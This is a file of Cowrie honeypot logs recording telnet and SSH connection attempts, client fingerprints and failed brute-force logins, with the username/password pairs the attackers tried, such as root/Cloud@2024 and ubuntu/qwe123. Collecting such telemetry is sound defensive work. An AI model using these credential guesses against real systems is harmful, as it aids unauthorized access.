{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":52418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eddb138aa97","protocol":"telnet","message":"New connection: 78.162.129.104:52418 (10.17.0.5:23) [session: 4eddb138aa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:19.097863Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":52496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba487fa5c0ab","protocol":"telnet","message":"New connection: 78.162.129.104:52496 (10.17.0.5:23) [session: ba487fa5c0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:20.439751Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":53038,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd30bbb3716","protocol":"telnet","message":"New connection: 78.162.129.104:53038 (10.17.0.5:23) [session: dfd30bbb3716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:22.325972Z"}
{"eventid":"cowrie.session.closed","duration":2.53995680809021,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:22.979604Z","src_ip":"78.162.129.104","session":"ba487fa5c0ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95365524291992,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:36.318665Z","src_ip":"24.199.85.165","session":"a7711b93df1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.507483959198,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:38.843568Z","src_ip":"24.199.85.165","session":"6a9c734309e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":57953,"dst_ip":"159.203.135.109","dst_port":22,"session":"da62db00278f","protocol":"ssh","message":"New connection: 121.122.119.48:57953 (159.203.135.109:22) [session: da62db00278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:58.199269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:58.204409Z","src_ip":"121.122.119.48","session":"da62db00278f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:58.435843Z","src_ip":"121.122.119.48","session":"da62db00278f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2024","message":"login attempt [root/Cloud@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:59.392735Z","src_ip":"121.122.119.48","session":"da62db00278f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:00.625252Z","src_ip":"121.122.119.48","session":"da62db00278f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58186,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6642e04144","protocol":"telnet","message":"New connection: 24.199.85.165:58186 (10.17.0.5:23) [session: ac6642e04144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:10.075134Z"}
{"eventid":"cowrie.session.closed","duration":34.09052920341492,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:44.165522Z","src_ip":"24.199.85.165","session":"ac6642e04144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":38646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36491ad1428","protocol":"ssh","message":"New connection: 121.122.119.48:38646 (159.203.135.109:22) [session: d36491ad1428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:57.200345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:57.205604Z","src_ip":"121.122.119.48","session":"d36491ad1428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:57.447055Z","src_ip":"121.122.119.48","session":"d36491ad1428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd.2024","message":"login attempt [root/Pa$$w0rd.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:58.420869Z","src_ip":"121.122.119.48","session":"d36491ad1428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":43134,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0f8b48d23e","protocol":"ssh","message":"New connection: 114.141.59.195:43134 (159.203.135.109:22) [session: 1f0f8b48d23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:58.913420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:58.925264Z","src_ip":"114.141.59.195","session":"1f0f8b48d23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:59.168383Z","src_ip":"114.141.59.195","session":"1f0f8b48d23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:55:59.660970Z","src_ip":"121.122.119.48","session":"d36491ad1428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:00.175013Z","src_ip":"114.141.59.195","session":"1f0f8b48d23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:01.432940Z","src_ip":"114.141.59.195","session":"1f0f8b48d23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109362602234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:19.098812Z","src_ip":"78.162.129.104","session":"4eddb138aa97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00137257575989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:22.327183Z","src_ip":"78.162.129.104","session":"dfd30bbb3716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":44026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f491687c3fa2","protocol":"telnet","message":"New connection: 78.162.129.104:44026 (10.17.0.5:23) [session: f491687c3fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:25.942844Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c0da2ebbb4","protocol":"telnet","message":"New connection: 78.162.129.104:44610 (10.17.0.5:23) [session: e4c0da2ebbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:28.244052Z"}
{"eventid":"cowrie.session.closed","duration":3.3197882175445557,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:31.563641Z","src_ip":"78.162.129.104","session":"e4c0da2ebbb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":47572,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b729e4b0df","protocol":"ssh","message":"New connection: 121.122.119.48:47572 (159.203.135.109:22) [session: 58b729e4b0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:55.806028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:55.812021Z","src_ip":"121.122.119.48","session":"58b729e4b0df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:56.048023Z","src_ip":"121.122.119.48","session":"58b729e4b0df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass","message":"login attempt [test/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:57.021785Z","src_ip":"121.122.119.48","session":"58b729e4b0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:56:58.262651Z","src_ip":"121.122.119.48","session":"58b729e4b0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.200.76.12","src_port":50775,"dst_ip":"159.203.135.109","dst_port":23,"session":"82d56b59ce1a","protocol":"telnet","message":"New connection: 123.200.76.12:50775 (159.203.135.109:23) [session: 82d56b59ce1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:23.642645Z"}
{"eventid":"cowrie.session.closed","duration":31.636040210723877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:55.278581Z","src_ip":"123.200.76.12","session":"82d56b59ce1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":56499,"dst_ip":"159.203.135.109","dst_port":22,"session":"870bb8c4964e","protocol":"ssh","message":"New connection: 121.122.119.48:56499 (159.203.135.109:22) [session: 870bb8c4964e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:57.704273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:57.708911Z","src_ip":"121.122.119.48","session":"870bb8c4964e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:57.947901Z","src_ip":"121.122.119.48","session":"870bb8c4964e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pswd","message":"login attempt [root/pswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:57:58.934838Z","src_ip":"121.122.119.48","session":"870bb8c4964e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:00.176865Z","src_ip":"121.122.119.48","session":"870bb8c4964e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013074874878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:25.943992Z","src_ip":"78.162.129.104","session":"f491687c3fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":37198,"dst_ip":"159.203.135.109","dst_port":22,"session":"b12c11d349e3","protocol":"ssh","message":"New connection: 121.122.119.48:37198 (159.203.135.109:22) [session: b12c11d349e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:58.694823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:58.699538Z","src_ip":"121.122.119.48","session":"b12c11d349e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:58.948650Z","src_ip":"121.122.119.48","session":"b12c11d349e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2018","message":"login attempt [root/Root2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:58:59.969137Z","src_ip":"121.122.119.48","session":"b12c11d349e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20b4b0ee4a4","protocol":"telnet","message":"New connection: 78.162.129.104:39230 (10.17.0.5:23) [session: f20b4b0ee4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:00.133251Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0137635cd55","protocol":"telnet","message":"New connection: 78.162.129.104:45438 (10.17.0.5:23) [session: a0137635cd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:00.393666Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:01.220194Z","src_ip":"121.122.119.48","session":"b12c11d349e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6216650009155273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:04.015182Z","src_ip":"78.162.129.104","session":"a0137635cd55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":46294,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6e6b2b04e8","protocol":"telnet","message":"New connection: 78.162.129.104:46294 (10.17.0.5:23) [session: 5b6e6b2b04e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:07.998418Z"}
{"eventid":"cowrie.session.closed","duration":0.005782604217529297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:08.004043Z","src_ip":"78.162.129.104","session":"5b6e6b2b04e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47476,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c94496aff07","protocol":"telnet","message":"New connection: 24.199.85.165:47476 (10.17.0.5:23) [session: 1c94496aff07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:16.861127Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60552,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2479b2a8ef1","protocol":"telnet","message":"New connection: 24.199.85.165:60552 (10.17.0.5:23) [session: b2479b2a8ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:59:29.732174Z"}
